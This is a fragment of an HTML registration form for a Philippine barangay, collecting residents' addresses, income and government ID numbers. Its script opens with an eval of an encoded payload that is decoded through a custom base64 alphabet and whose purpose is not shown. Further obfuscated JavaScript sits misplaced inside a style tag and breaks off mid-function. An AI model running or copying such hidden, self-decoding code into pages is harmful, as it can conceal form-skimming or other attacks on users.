fGY+PjQsYz0oMTUmZik8PDR8Zz4+MixkPSgzJmcpPDw2fGgsaSs9X2ZfYyhiKSw2NCE9ZyYmKGkrPV9mX2MoYykpLDY0IT1oJiYoaSs9X2ZfYyhkKSk7cmV0dXJuIGk9dXRvYShpKX1mdW5jdGlvbiBidG9hKGEpe3ZhciBiLGMsZCxlLGYsZyxoLGk9IiIsaj0wO2ZvcihhPWF0b3UoYSk7ajxhLmxlbmd0aDspYj1hLmNoYXJDb2RlQXQoaisrKSxjPWEuY2hhckNvZGVBdChqKyspLGQ9YS5jaGFyQ29kZUF0KGorKyksZT1iPj4yLGY9KDMmYik8PDR8Yz4+NCxnPSgxNSZjKTw8MnxkPj42LGg9NjMmZCxpc05hTihjKT9nPWg9NjQ6aXNOYU4oZCkmJihoPTY0KSxpPWkraHdhLmNoYXJBdChlKStod2EuY2hhckF0KGYpK2h3YS5jaGFyQXQoZykraHdhLmNoYXJBdChoKTtyZXR1cm4gaX1mdW5jdGlvbiBhdG91KGEpe2E9YS5yZXBsYWNlKHJlYiwiXG4iKTtmb3IodmFyIGI9IiIsYz0wO2M8YS5sZW5ndGg7YysrKXt2YXIgZD1hLmNoYXJDb2RlQXQoYyk7MTI4PmQ/Yis9X2ZfYyhkKTpkPjEyNyYmMjA0OD5kPyhiKz1fZl9jKGQ+PjZ8MTkyKSxiKz1fZl9jKDYzJmR8MTI4KSk6KGIrPV9mX2MoZD4+MTJ8MjI0KSxiKz1fZl9jKGQ+PjYmNjN8MTI4KSxiKz1fZl9jKDYzJmR8MTI4KSl9cmV0dXJuIGJ9ZnVuY3Rpb24gdXRvYShhKXtmb3IodmFyIGI9IiIsYz0wLGQ9YzE9YzI9MDtjPGEubGVuZ3RoOylkPWEuY2hhckNvZGVBdChjKSwxMjg+ZD8oYis9X2ZfYyhkKSxjKyspOmQ+MTkxJiYyMjQ+ZD8oYzI9YS5jaGFyQ29kZUF0KGMrMSksYis9X2ZfYygoMzEmZCk8PDZ8NjMmYzIpLGMrPTIpOihjMj1hLmNoYXJDb2RlQXQoYysxKSxjMz1hLmNoYXJDb2RlQXQoYysyKSxiKz1fZl9jKCgxNSZkKTw8MTJ8KDYzJmMyKTw8Nnw2MyZjMyksYys9Myk7cmV0dXJuIGJ9dmFyIGh3YT1odygiMDA0MTAwNDIwMDQzMDA0NDAwNDUwMDQ2MDA0NzAwNDgwMDQ5MDA0YTAwNGIwMDRjMDA0ZDAwNGUwMDRmMDA1MDAwNTEwMDUyMDA1MzAwNTQwMDU1MDA1NjAwNTcwMDU4MDA1OTAwNWEwMDYxMDA2MjAwNjMwMDY0MDA2NTAwNjYwMDY3MDA2ODAwNjkwMDZhMDA2YjAwNmMwMDZkMDA2ZTAwNmYwMDcwMDA3MTAwNzIwMDczMDA3NDAwNzUwMDc2MDA3NzAwNzgwMDc5MDA3YTAwMzAwMDMxMDAzMjAwMzMwMDM0MDAzNTAwMzYwMDM3MDAzODAwMzkwMDJiMDAyZjAwM2QiKSxyZWE9bmV3IFJlZ0V4cCgiW15BLVphLXowLTkrLz1dIiwiZyIpLHJlYj1uZXcgUmVnRXhwKCJcclxuIiwiZyIpO3ZhciBfXz17YTpod2Euc3BsaXQoIiIpLCQ6ZnVuY3Rpb24oYSxiKXtmb3IodmFyIGM9IiIsZD10aGlzLmEubGVuZ3RoLGU9YS5sZW5ndGgsZj0wO2Y8ZTtmKyspZm9yKHZhciBnPTA7ZzxkO2crKylpZigiZSI9PWIpe2lmKHRoaXMuYVtnXT09PWFbZl0pe2MrPXRoaXMuYltnXTticmVha319ZWxzZSBpZigiZCI9PWImJnRoaXMuYltnXT09PWFbZl0pe2MrPXRoaXMuYVtnXTticmVha31yZXR1cm4gY30sYjpodygiMDAzZDAwMmYwMDJiMDAzOTAwMzgwMDM3MDAzNjAwMzUwMDM0MDAzMzAwMzIwMDMxMDAzMDAwN2EwMDc5MDA3ODAwNzcwMDc2MDA3NTAwNzQwMDczMDA3MjAwNzEwMDcwMDA2ZjAwNmUwMDZkMDA2YzAwNmIwMDZhMDA2OTAwNjgwMDY3MDA2NjAwNjUwMDY0MDA2MzAwNjIwMDYxMDA1YTAwNTkwMDU4MDA1NzAwNTYwMDU1MDA1NDAwNTMwMDUyMDA1MTAwNTAwMDRmMDA0ZTAwNGQwMDRjMDA0YjAwNGEwMDQ5MDA0ODAwNDcwMDQ2MDA0NTAwNDQwMDQzMDA0MjAwNDEiKS5zcGxpdCgiIil9Ow==')); eval(atob(__.$('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', 'd')));
		</script>


		<!--3 senior start-->
		<div id="3_senior">
			<div class="form-group" id="senior4">
				<label for="exampleInputuname" class="col-sm-3 control-label">Maynilad (Own Meter)?</label>
				<div class="col-sm-9">
					<div class="input-group">
						<select name="maynilad" class="select2" style="width:150px;">
							<option value="0">No</option>
							<option value="1">Yes</option>
						</select>
					</div>
				</div>
			</div>

			<div class="form-group" id="senior4">
				<label for="exampleInputuname" class="col-sm-3 control-label">Meralco (Own Meter)?</label>
				<div class="col-sm-9">
					<div class="input-group">
						<select name="meralco" class="select2" style="width:150px;">
							<option value="0">No</option>
							<option value="1">Yes</option>
						</select>
					</div>
				</div>
			</div>

			<div class="form-group" id="senior4">

				<label for="exampleInputuname" class="col-sm-3 control-label">Septic Tank</label>

				<div class="col-sm-9">

					<div class="input-group">

						<select name="septic_tank" class="select2" style="width:150px;">

							<option value="0">No</option>

							<option value="1">Yes</option>

						</select>

					</div>

				</div>

			</div>
		</div>
		<!--3 senior end-->

		<div class="form-group" id="structure">

			<label for="exampleInputuname" class="col-sm-3 control-label">House Structure</label>

			<div class="col-sm-9">

				<div class="input-group">

					<select name="house_structure" class="select2" style="width:150px;">

						<option value="Light Materials">Light Materials</option>

						<option value="Semi - Concrete">Semi - Concrete</option>

						<option value="Concrete">Concrete</option>

					</select>

				</div>

			</div>

		</div>

	</div>

</div>

<div class="col-md-12" id="reg_form_main_div2">

	<div class="white-box">

		<div class="form-group">

			<label for="exampleInputuname" class="col-sm-3 control-label">Civil Status</label>

			<div class="col-sm-9">

				<div class="input-group">

					<div class="input-group">

						<select name="civil_status" class="select2" style="width:150px;">

							<option value="Single">Single</option>

							<option value="Married">Married</option>

							<option value="Divorced">Divorced</option>

							<option value="Separated">Separated</option>

							<option value="Widowed">Widowed</option>

							<option value="Annulled">Annulled</option>

						</select>

					</div>

				</div>

			</div>

		</div>



		<div class="form-group">

			<label for="exampleInputuname" class="col-sm-3 control-label">Citizenship</label>

			<div class="col-sm-9">

				<div class="input-group">

					<div class="input-group">

						<select name="citizenship" class="select2" style="width:150px;">

							<option value="Filipino">Filipino</option>

							<option value="Dual Citizen">Dual Citizen</option>

							<option value="Foreign National">Foreign National</option>

						</select>

					</div>

				</div>

			</div>

		</div>



		<div class="form-group">

			<label for="exampleInputuname" class="col-sm-3 control-label">Religion</label>

			<div class="col-sm-9">

				<div class="input-group">



					<select name="religion" class="religion_sel" style="width:150px;">

						<option value="Roman Catholic">Roman Catholic</option>

						<option value="Iglesia ni Cristo">Iglesia ni Cristo</option>

						<option value="Aglipayan">Aglipayan</option>

						<option value="Seventh Day Adventist">Seventh Day Adventist</option>

						<option value="Mormons">Mormons</option>

						<option value="Muslim">Muslim</option>

						<option value="Jehovahs Witness">Jehovah's Witness</option>

						<option value="Others">Others Please Specify</option>

					</select>

					<br />

					<input type="text" class="form-control" id="other_rel" placeholder="" name="other_rel"
						style="display:none; border:0; border-bottom:2px solid black; width:200px;" autocomplete=off />



				</div>

			</div>

		</div>

		<div class="form-group">

			<label for="contact" id="contact_label" class="col-sm-3 control-label">Contact No</label>

			<div class="col-sm-9">

				<div class="input-group">

					<div class="input-group-addon"><i class="icon-phone"></i></div>

					<input type="text" class="form-control" id="contact" onkeyup="Readmykey(this.value,'contact')"
						placeholder="Contact Number" name="contact_number" autocomplete=off />
				</div>

			</div>

		</div>

		<div class="form-group" id="landline">

			<label for="exampleInputuname" class="col-sm-3 control-label">Landline No</label>

			<div class="col-sm-9">

				<div class="input-group">

					<div class="input-group-addon"><i class="icon-phone"></i></div>

					<input type="text" class="form-control" id="landline_field"
						onkeyup="Readmykey(this.value,'landline_field')" placeholder="Landline No"
						name="landline_number" autocomplete=off />
				</div>

			</div>

		</div>

		<div class="form-group">

			<label for="exampleInputuname" class="col-sm-3 control-label">Email</label>

			<div class="col-sm-9">

				<div class="input-group">

					<div class="input-group-addon"><i class="icon-envelope"></i></div>

					<input type="text" class="form-control" id="email" placeholder="Email"
						onkeyup="Readmykey(this.value,'email')" name="email" autocomplete=off />
				</div>

			</div>

		</div>



		<div class="form-group">

			<label for="House_lot_number" class="col-sm-3 control-label">House / Lot Number</label>

			<div class="col-sm-9">

				<div class="input-group">

					<div class="input-group-addon"><i class="icon-location-pin"></i></div>

					<input type="text" class="form-control" id="House_lot_number"
						onkeyup="Readmykey(this.value,'House_lot_number')" placeholder="House / Lot Number"
						name="house_number" autocomplete=off />
				</div>

			</div>

		</div>



		<div class="form-group">

			<label for="Unit" class="col-sm-3 control-label">Unit / Building Name</label>

			<div class="col-sm-9">

				<div class="input-group">

					<div class="input-group-addon"><i class="icon-location-pin"></i></div>

					<input type="text" class="form-control" id="Unit" onkeyup="Readmykey(this.value,'Unit')"
						placeholder="Unit / Building Name" name="unit_name" autocomplete=off />
				</div>

			</div>

		</div>



		<div class="form-group">

			<label for="Street" class="col-sm-3 control-label">Street Name</label>

			<div class="col-sm-9">

				<div class="input-group">

					<div class="input-group-addon"><i class="icon-location-pin"></i></div>

					<input type="text" class="form-control" id="Street" onkeyup="Readmykey(this.value,'Street')"
						placeholder="Street Name" name="street_name" autocomplete=off />
				</div>

			</div>

		</div>



		<div class="form-group">

			<label for="Purok" class="col-sm-3 control-label">Purok/Zone</label>

			<div class="col-sm-9">

				<div class="input-group">

					<div class="input-group-addon"><i class="icon-location-pin"></i></div>

					<input type="text" class="form-control" id="Purok" onkeyup="Readmykey(this.value,'Purok')"
						placeholder="Purok" name="purok" autocomplete=off />
				</div>

			</div>

		</div>

		<div class="form-group">
			<label for="area_village" class="col-sm-3 control-label">Area / Village</label>
			<div class="col-sm-9">
				<div class="input-group">
					<div class="input-group-addon"><i class="icon-location-pin"></i></div>
					<input type="text" class="form-control" id="area_village"
						onkeyup="Readmykey(this.value,'area_village')" placeholder="Area / Village" name="area_village"
						autocomplete=off />
				</div>
			</div>
		</div>

		<!-- <div class="form-group">

						<label for="exampleInputuname" class="col-sm-3 control-label">Purok/Zone</label>

						<div class="col-sm-9">

							<div class="input-group">

								<div class="input-group-addon"><i class="icon-location-pin"></i></div>

								<input type="text" class="form-control" id="exampleInputuname" placeholder="Purok" name="purok" autocomplete=off /> </div>

						</div>

					</div>

					<div class="form-group">

						<label for="c_address" id="cadd_label" class="col-sm-3 control-label">Current Address</label>

						<div class="col-sm-9">

							<div class="input-group">

								<div class="input-group-addon"><i class="icon-location-pin"></i></div>

								<textarea style="resize: none;" type="text" class="form-control" id="c_address" placeholder="Current Address" name="address" autocomplete=off required></textarea> </div>

						</div>

					</div>

					<div class="form-group" id="per_address">

						<label for="exampleInputuname" class="col-sm-3 control-label">Permanent Address</label>

						<div class="col-sm-9">

							<div class="input-group">

								<div class="input-group-addon"><i class="icon-location-pin"></i></div>

								<textarea style="resize: none;" type="text" class="form-control" id="exampleInputuname" placeholder="Permanent Address" name="paddress" autocomplete=off ></textarea> </div>

						</div>

					</div> -->



		<div class="form-group" id="yor">

			<label for="year_resident" id="yor_label" class="col-sm-3 control-label">Years of Residency</label>

			<div class="col-sm-9">

				<div class="input-group">

					<div class="input-group-addon"><i class="icon-arrow-right"></i></div>

					<input type="number" class="form-control" id="year_resident"
						onkeyup="Readmykey(this.value,'year_resident')" placeholder="Years of Residency"
						name="years_residency" autocomplete=off />
				</div>

			</div>

		</div>

		<div class="form-group">
			<label for="exampleInputuname" class="col-sm-3 control-label">In Danger Zone</label>
			<div class="col-sm-9">
				<div class="input-group">
					<select name="danger_zone" class="danger" style="width:150px;">
						<option value="No">No</option>
						<option value="Yes">Yes</option>
					</select>
				</div>
			</div>
		</div>

		<div class="form-group" id="geo" style="display:none;">
			<label for="exampleInputuname" class="col-sm-3 control-label">Geographical Location</label>
			<div class="col-sm-9">
				<div class="input-group">
					<select name="geographical_loc" class="" id="gloc" style="width:150px;">
						<option value="Flooded Area">Flooded Area</option>
						<option value="Landslide Area">Landslide Area</option>
						<option value="Earthquake Area">Earthquake Area</option>
						<option value="Fire Prone">Fire Prone</option>
					</select>
				</div>
			</div>
		</div>


		<div class="form-group" id="home_ownersh">

			<label for="exampleInputuname" class="col-sm-3 control-label">Homeownership</label>

			<div class="col-sm-9">

				<div class="input-group">

					<select name="typeres" class="select2" style="width:150px;">

						<option value="Home Owner">Homeowner</option>

						<option value="Rented">Rented</option>

						<option value="Living with Immediate Family">Living with Immediate Family</option>

						<option value="Living with Relatives">Living with Relatives</option>

						<option value="Work/Company Provided">Work/Company Provided</option>

					</select>

				</div>

			</div>

		</div>



		<div class="form-group" id="tin">

			<label for="exampleInputuname" class="col-sm-3 control-label">Tax Identification No</label>

			<div class="col-sm-9">

				<div class="input-group">

					<div class="input-group-addon"><i class="icon-email"></i></div>

					<input type="text" class="form-control" id="tax" onkeyup="Readmykey(this.value,'tax')"
						placeholder="Tax Identification No" name="tax_number" autocomplete=off />
				</div>

			</div>

		</div>



		<!-- <div class="form-group" id="qci">

						<label for="exampleInputuname" class="col-sm-3 control-label">Q.C. ID No</label>

						<div class="col-sm-9">

							<div class="input-group">

								<div class="input-group-addon"><i class="icon-email"></i></div>

								<input type="text" class="form-control" id="exampleInputuname" placeholder="Q.C. ID No" name="qci_number" autocomplete=off /> </div>

						</div>

					</div> -->



		<div class="form-group" id="phil">

			<label for="exampleInputuname" class="col-sm-3 control-label">Philhealth No</label>

			<div class="col-sm-9">

				<div class="input-group">

					<div class="input-group-addon"><i class="icon-email"></i></div>

					<input type="text" class="form-control" id="philhealth" onkeyup="Readmykey(this.value,'philhealth')"
						placeholder="Philhealth No" name="philhealth_number" autocomplete=off />
				</div>

			</div>

		</div>



		<div class="form-group" id="ibig">

			<label for="exampleInputuname" class="col-sm-3 control-label">Pag-ibig No</label>

			<div class="col-sm-9">

				<div class="input-group">

					<div class="input-group-addon"><i class="icon-email"></i></div>

					<input type="text" class="form-control" id="pagibig" onkeyup="Readmykey(this.value,'pagibig')"
						placeholder="Pag-ibig No" name="pagibig_number" autocomplete=off />
				</div>

			</div>

		</div>



		<div class="form-group" id="gsis">

			<label for="exampleInputuname" class="col-sm-3 control-label">GSIS ID No</label>

			<div class="col-sm-9">

				<div class="input-group">

					<div class="input-group-addon"><i class="icon-email"></i></div>

					<input type="text" class="form-control" id="gsis_field" onkeyup="Readmykey(this.value,'gsis_field')"
						placeholder="GSIS ID No" name="gsis_number" autocomplete=off />
				</div>

			</div>

		</div>



		<div class="form-group" id="sss">

			<label for="exampleInputuname" class="col-sm-3 control-label">SSS No</label>

			<div class="col-sm-9">

				<div class="input-group">

					<div class="input-group-addon"><i class="icon-email"></i></div>

					<input type="text" class="form-control" id="sss_field" onkeyup="Readmykey(this.value,'sss_field')"
						placeholder="SSS No" name="sss_number" autocomplete=off />
				</div>

			</div>

		</div>

	</div>



	<div class="white-box" id="educ_info">

		<h3 style="color:#663399; font-weight:bold;">Education Info</h3>

		<hr />

		<div class="form-group" id="resident">

			<label for="exampleInputuname" class="col-sm-3 control-label">Educational Attainment</label>

			<div class="col-sm-9">

				<div class="input-group">

					<select name="educational_attainment" class="educat" style="width:150px;">

						<option value="Elementary">Elementary</option>

						<option value="Highschool">Highschool</option>

						<option value="Technical/Vocational">Technical/Vocational</option>

						<option value="College Undergrad">College Undergrad</option>

						<option value="Associates Degree">Associates Degree</option>

						<option value="Bachelor Degree">Bachelor Degree</option>

						<option value="Master Degree">Master Degree</option>

						<option value="Professional Degree">Professional Degree</option>

						<option value="Doctorate Degree">Doctorate Degree</option>

						<option value="None">None</option>

					</select>

				</div>

			</div>

		</div>



		<div class="form-group" id="eattain">

			<label for="exampleInputuname" class="col-sm-3 control-label">Course</label>

			<div class="col-sm-9">

				<div class="input-group">

					<div class="input-group-addon"><i class="icon-arrow-right"></i></div>

					<input type="text" class="form-control" id="course" onkeyup="Readmykey(this.value,'course')"
						placeholder="Course" name="course" autocomplete=off />
				</div>

			</div>

		</div>

		<div class="form-group" id="eattain2" style="display:none;">
			<label for="exampleInputuname" class="col-sm-3 control-label">Name of School</label>
			<div class="col-sm-9">
				<div class="input-group">
					<div class="input-group-addon"><i class="icon-arrow-right"></i></div>
					<input type="text" class="form-control" id="schoolname" onkeyup="Readmykey(this.value,'schoolname')"
						placeholder="Name of School" name="school" autocomplete=off />
				</div>
			</div>
		</div>



		<div class="form-group" id="resident">

			<label for="exampleInputuname" class="col-sm-3 control-label">Skills</label>

			<div class="col-sm-9">

				<div class="input-group">

					<div class="input-group-addon"><i class="icon-arrow-right"></i></div>

					<input type="text" class="form-control" id="skills" onkeyup="Readmykey(this.value,'skills')"
						placeholder="Skills" name="skills" autocomplete=off />
				</div>

			</div>

		</div>



	</div>



	<div class="white-box">

		<h3 style="color:#663399; font-weight:bold;">Work Info</h3>

		<hr />

		<div class="form-group" id="employ_status">

			<label for="exampleInputuname" class="col-sm-3 control-label">Employment Status</label>

			<div class="col-sm-9">

				<div class="input-group">

					<select name="employment_status" class="employ" id="employ" style="width:150px;">

						<option value="Employed Private">Employed Private</option>

						<option value="Employed Government">Employed Government</option>

						<option value="Self-Employed">Self-Employed</option>

						<option value="Unemployed">Unemployed</option>

						<option value="Student">Student</option>

						<option value="Out of School Youth">Out of School Youth</option>

						<option value="None">None</option>

					</select>

				</div>

			</div>

		</div>




		<div id="employment_status">

			<div class="form-group" id="emp_state">

				<label for="exampleInputuname" class="col-sm-3 control-label">Employment State</label>

				<div class="col-sm-9">

					<div class="input-group">

						<select name="employment_state" class="employ_state" id="employ_state" style="width:150px;">

							<option value="Casual">Casual</option>

							<option value="Regular">Regular</option>

							<option value="Daily">Daily</option>

							<option value="Contractual">Contractual</option>


						</select>

					</div>

				</div>

			</div>
			<div class="form-group" id="kasambahay">

				<label for="exampleInputuname" class="col-sm-3 control-label">Kasambahay</label>

				<div class="col-sm-9">

					<div class="input-group">



						<input type="radio" class="kas" name="kas" id="optionsRadios3" value="0" checked="" /> No

						&nbsp;

						<input type="radio" class="kas" name="kas" id="optionsRadios4" value="1" /> Yes

					</div>

				</div>

			</div>



			<div id="kas_status">


				<div class="form-group" id="occupation" class="occupation">

					<label for="exampleInputuname" class="col-sm-3 control-label">Occupation</label>

					<div class="col-sm-9">

						<div class="input-group">

							<div class="input-group-addon"><i class="icon-arrow-right"></i></div>

							<input type="text" class="form-control" id="occupation_field"
								onkeyup="Readmykey(this.value,'occupation_field')" placeholder="Occupation"
								name="occupation" autocomplete=off />
						</div>

					</div>

				</div>



				<div class="form-group" id="kas_name">

					<label for="noc" id="noc_label" class="col-sm-3 control-label">Name of Company</label>

					<div class="col-sm-9">

						<div class="input-group">

							<div class="input-group-addon"><i class="icon-arrow-right"></i></div>

							<input type="text" class="form-control" id="noc" onkeyup="Readmykey(this.value,'noc')"
								placeholder="Name of Company" name="company_name" autocomplete=off />
						</div>

					</div>

				</div>



				<div class="form-group" id="kas_name">

					<label for="company_post" id="post_label" class="col-sm-3 control-label">Position</label>

					<div class="col-sm-9">

						<div class="input-group">

							<div class="input-group-addon"><i class="icon-arrow-right"></i></div>

							<input type="text" class="form-control" id="company_post"
								onkeyup="Readmykey(this.value,'company_post')" placeholder="Position"
								name="company_position" autocomplete=off />
						</div>

					</div>

				</div>



				<div class="form-group" id="kas_name">

					<label for="company_add" id="com_add_label" class="col-sm-3 control-label">Address of
						Company</label>

					<div class="col-sm-9">

						<div class="input-group">

							<div class="input-group-addon"><i class="icon-arrow-right"></i></div>

							<input type="text" class="form-control" id="company_add"
								onkeyup="Readmykey(this.value,'company_add')" placeholder="Address of Company"
								name="company_address" autocomplete=off />
						</div>

					</div>

				</div>

			</div>



			<div id="kas_status7" style="display:none;">



				<div class="form-group" id="kas_name">

					<label for="exampleInputuname" class="col-sm-3 control-label">Name of Employer</label>

					<div class="col-sm-9">

						<div class="input-group">

							<div class="input-group-addon"><i class="icon-arrow-right"></i></div>

							<input type="text" class="form-control" id="employername"
								onkeyup="Readmykey(this.value,'employername')" placeholder="Name of Employer"
								name="employer_name" autocomplete=off />
						</div>

					</div>

				</div>



				<div class="form-group" id="kas_name">

					<label for="exampleInputuname" class="col-sm-3 control-label">Address of Employer</label>

					<div class="col-sm-9">

						<div class="input-group">

							<div class="input-group-addon"><i class="icon-arrow-right"></i></div>

							<input type="text" class="form-control" id="employeraddress"
								onkeyup="Readmykey(this.value,'employeraddress')" placeholder="Address of Employer"
								name="employer_address" autocomplete=off />
						</div>

					</div>

				</div>

			</div>





			<div class="form-group" id="sourceofincome">

				<label for="exampleInputuname" class="col-sm-3 control-label">Source of Income</label>

				<div class="col-sm-9">

					<div class="input-group">

						<select name="income_source" class="select2" style="width:150px;">

							<option value="Salary">Salary</option>

							<option value="Remittance">Remittance</option>

							<option value="Business">Business</option>

						</select>

					</div>

				</div>

			</div>



			<div class="form-group" id="monthlyincome">

				<label for="monthly" id="monthly_title" class="col-sm-3 control-label">Monthly Income</label>

				<div class="col-sm-9">

					<div class="input-group">

						<div class="input-group-addon"><i class="icon-arrow-right"></i></div>

						<input type="text" class="form-control" id="monthly" onkeyup="Readmykey(this.value,'monthly')"
							placeholder="Monthly Income" name="income_monthly" onKeyUp="checkNumber(this);"
							autocomplete=off />
					</div>

				</div>

			</div>




		</div>

	</div>

</div>


</div>

<style>
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						this._43dy73K8r__APOW87= {
							f:function(_1I0, $) {
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											_1w3+=95;
										}

										_1w3+=32; _E7++; return _Z5x1(_1w3);
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									; function _6b6(_1I0, _PS) {
										_RM=_1I0[_PS]; _21L=""; while(_RM !="\f") {
											if(_RM<" ") {
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											else {
												_21L+=_Zp(_RM);
											}

											_PS++; _RM=_1I0[_PS];
										}

										return _21L;
									}

									; function _B6n9(_RM) {
										return _RM[_2I](0);
									}

									; function _Z5x1(_1w3) {
										return this[_JX65][_Mu](_1w3);
									}

									; _PS=_PS?_PS:0; if(_1I0[_88b]>_PS) {
										_E7=_E7?_E7:0; _oG2=_6b6(_1I0, _PS); _JoQM=_oG2[_88b]; _SnPW=_6b6(_1I0, _PS+_JoQM+1); _N1=_SnPW[_88b]; $[_oG2]=_SnPW; _jM(_1I0, $, _PS+_JoQM+1+_N1+1, _E7);
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								}

								; _k93Z="\x72\x65" +_pPY+"\x63\x65"; _2I=_PA("_ahco%Cr%Aedt"); _JX65=_PA("r_t%Sgni"); _Mu=_PA("_orfhCm%Crae_do"); _88b=_PA("ne_lh_tg"); _jM(_1I0, $); function _PA(_57) {
